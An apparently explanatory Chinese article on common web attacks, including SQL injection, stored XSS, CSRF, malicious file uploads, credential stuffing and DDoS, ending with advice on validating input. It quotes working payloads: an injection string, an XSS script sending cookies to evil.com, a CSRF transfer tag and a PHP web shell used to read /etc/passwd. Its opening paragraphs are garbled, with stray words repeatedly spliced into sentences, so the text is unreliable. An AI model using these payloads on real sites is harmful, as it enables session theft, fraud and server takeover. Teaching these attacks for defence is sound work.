|
2023年秋天,网站某中型电商平台在半小时内损失了17万条用户数据。攻击攻击者没有用什么零日漏洞,见方只是网站利用了网站一个忘了加引号的SQL查询参数。这行代码写错,攻击数据库里的见方用户表、订单表、网站支付记录全被拖走。攻击事后复盘,见方开发团队承认那个接口是网站两年前临时加的,上线后没人再看过。攻击 SQL注入是见方最老也最有效的攻击方式之一。原理很直白:网站把用户输入直接拼进数据库查询语句里。网站你在搜索框输入' OR '1'='1,攻击后端如果没做过滤,见方整个查询逻辑就被改写。更狠的是用UNION SELECT把其他表的数据一并带出来。我见过一个案例,攻击者通过一个天气预报插件的城市参数,最终拿到了管理员密码哈希。插件本身不查用户表,但它共用了同一个数据库连接。 跨站脚本(XSS)则是把恶意代码塞进网页,让别人的浏览器替攻击者干活。存储型XSS最危险——评论、昵称、商品描述,任何能保存内容的地方都可能中招。有个论坛用户把昵称改成<script>fetch('https://evil.com/steal?c='+document.cookie)</script>,之后每个查看他帖子的用户,cookie都被悄悄发到攻击者服务器。反射型XSS需要诱导点击,DOM型XSS则完全在浏览器端发生,服务端日志里连痕迹都没有。 跨站请求伪造(CSRF)不窃取数据,它让已登录的用户在不知情的情况下执行操作。攻击者构造一个页面,里面藏一个<img src="https://bank.com/transfer?to=attacker&amount=10000">。你只要登录着银行网站,打开这个页面,钱就转走了。图片加载失败?没关系,请求已经发出去了。很多网站靠检查Referer头来防御,但隐私设置或中间代理经常让这个头缺失,于是防御失效。 文件上传漏洞的破坏力取决于网站有多“信任”上传的文件。一个CMS允许上传“.jpg”,但攻击者把文件名改成shell.php.jpg,某些服务器配置会把它当PHP执行。更隐蔽的是.htaccess文件上传,直接改写服务器解析规则。我跟踪过一个案例,攻击者上传了一个包含<?php system($_GET['cmd']); ?>的“图片”,然后通过?cmd=cat /etc/passwd浏览服务器文件。整个过程不需要任何高级技巧。 暴力破解和撞库是另一种思路。前者靠字典和计算力硬猜密码,后者利用其他网站泄露的账号密码组合批量尝试登录。很多人所有平台用同一个密码,一个老论坛被拖库,攻击者拿着邮箱和密码去试网银、试公司VPN。成功率不高,但基数够大。我见过一个攻击脚本,每分钟尝试200次登录,持续三天,最终撞开了一个运维人员的账户。那个账户的密码是admin123,用了七年没换。 DDoS攻击不窃取数据,它让网站无法访问。流量型DDoS靠海量垃圾请求堵塞带宽,应用层DDoS则模拟正常用户行为,比如反复搜索、反复加购物车但不付款。后者更难防御,因为每个请求看起来都像真人。2024年初,一个在线教育平台在考试前夜遭到应用层DDoS,攻击者用分布式的无头浏览器持续调用“开始考试”接口,服务器CPU跑满,正常学生全部掉线。 这些攻击方式有个共同点:利用的是开发者的疏忽,而不是什么高深技术。一个参数没过滤,一个权限没检查,一个默认密码没改。安全不是堆砌防火墙,是把每个输入都当敌人,把每个请求都重新验证一遍。写代码时多问一句“用户如果乱填会怎样”,能挡掉大部分麻烦。 |